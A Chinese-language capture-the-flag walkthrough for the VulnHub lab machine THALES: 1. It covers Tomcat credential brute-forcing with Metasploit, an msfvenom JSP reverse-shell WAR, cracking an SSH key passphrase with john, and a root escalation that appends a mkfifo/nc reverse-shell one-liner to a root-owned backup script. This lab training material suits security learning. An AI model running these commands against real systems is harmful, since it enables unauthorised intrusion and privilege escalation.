vulnhub靶场之THALES: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:THALES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/thales/Thales.zip,下载解压后直接vbox打开即可。
目标:获取user.txt和root.txt。
知识点:shell反弹、权限提升、tomcat弱口令、密匙破解(john)

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.167。这里因为是在酒店,这里连的的都是一个网络,所以加了-sn,不然比较慢。

扫描下开放的端口与对应的服务:nmap -T4 -sV -p- -A 192.168.100.167,显示开放了22和8080端口。

使用dirmap进行目录扫描,但是未发现有用的目录信息,访问:http://192.168.100.167:8080/,发现是tomcat界面,在页面点击时发现需要登录。

爆破tomcat弱口令:
这里想到了之前的tomcat弱口令的问题(vuhub上也有这个的模拟环境),因此使用msf尝试爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然后找到用于爆破弱口令的并使用。

使用方式:use 19,然后设置下目标主机:set rhost 192.168.100.167,(可以show options查看当前配置的信息),然后run即可。成功获得账户名和密码:tomcat/role1。


使用爆破获得账户名和密码:tomcat/role1,成功登录到管理界面。

获取shell权限:
在应用程序列表中我们可以进行文件上传和服务部署,因此构造一个反弹shell进行部署,生成反弹shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali开启监听:nc -lvp 6688,然后将upfine.war文件进行上传部署并访问,成功获得shell权限。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell窗口。


提权至thales:
在home/thales文件夹下发现了:notes.txt、user.txt、.ssh等文件,读取下相关文件,告诉我们存在一个backup.sh脚本,user.txt文件无权限读取,尝试使用密码:role1进行尝试,但是不对。


那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,发现该文件具有root权限,文件内容定义的是备份什么内容,备份到哪去,备份方法和名称等信息,这里我们可以写入一个反弹shell,那在调用的时候就可以反弹一个root权限的shell,但是tomcat账户按这样操作后显示仍是tomcat权限。

在.ssh下发现密匙:id_rsa文件,将密匙文件复制保存到本地文件upfine,然后命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密码本,然后命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd进行破解,成功获取密码:vodka06


切换thales账户:su thales,读取下user.txt文件,成功获取到flag信息。

提权至root:
根据上面的我们发现的backup.sh文件具有root权限,那我们就插入一个反弹shell,然后执行backup.sh脚本,成功获取root权限读取到root.txt。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh

vulnhub靶场之THALES: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
随机推荐
- Git 01 介绍
参考源 https://www.bilibili.com/video/BV1FE411P7B3?spm_id_from=333.999.0.0 版本 本文章基于 Git 2.35.1.2 版本控制 版 ...
- 技术专家说 | 如何基于 Spark 和 Z-Order 实现企业级离线数仓降本提效?
[点击了解更多大数据知识] 市场的变幻,政策的完善,技术的革新--种种因素让我们面对太多的挑战,这仍需我们不断探索.克服. 今年,网易数帆将持续推出新栏目「金融专家说」「技术专家说」「产品专家说」等, ...
- Java Stream 函数式接口外部实例的引用
Java Function Interface 函数式接口: Stream.empty() .filter(Predicate) .map(Function) .forEach(Consumer); ...
- 演示RabbitMQ的交换类型
一.Direct exchange 新建一个名为direct_exchange的Direct exchange 添加队列direct_queue1 添加队列direct_queue2 direct_e ...
- OpenJudge 1.5.28 分离整数的各个数位
28:分离整数的各个数位 总时间限制: 1000ms 内存限制: 65536kB 描述 给定一个整数,要求从个位开始分离出它的每一位数字. 输入 输入一个整数,整数在1到100000000之间. 输出 ...
- Hack The Box( Starting Point )
Hack The Box [Starting Point] 初始点 -- 了解渗透测试的基础知识. 这一章节对于一个渗透小白来说,可以快速的成长.以下将提供详细的解题思路,与实操步骤. TIER 0 ...
- Zookeeper 分布式事务锁的使用
使用Netflix的包 curator-recipes pom文件引入相关依赖 <dependency> <groupId>org.apache.zookeeper</g ...
- Markdown Support
Markdown 支持一览 Markdown 支持一览 身正不怕影子斜 我实在没有说过这样一句话 -- 鲁迅 古代文学史发展脉络 唐诗 宋词 元曲 冯·诺依曼结构 运算器 控制器 存储器 输入输出设备 ...
- Ros入门21讲
一.ROS是什么? ROS=通信机制+开发工具+应用功能+生态系统 目的:提高机器人研发中的软件复用率. 1.ROS中的通信机制 松耦合分布式通信: 注意:什么是耦合.紧耦合.松耦合? 1.1 耦合 ...
- 《Java基础——选择语句》
Java基础--选择语句 1. if语句; 规则: 1. 首先计算表达式的值. 2. 若表达式为真,则执行对应语句,为假则不执行. 格式一: if(表达式) 语句;//多个语句可用{} ...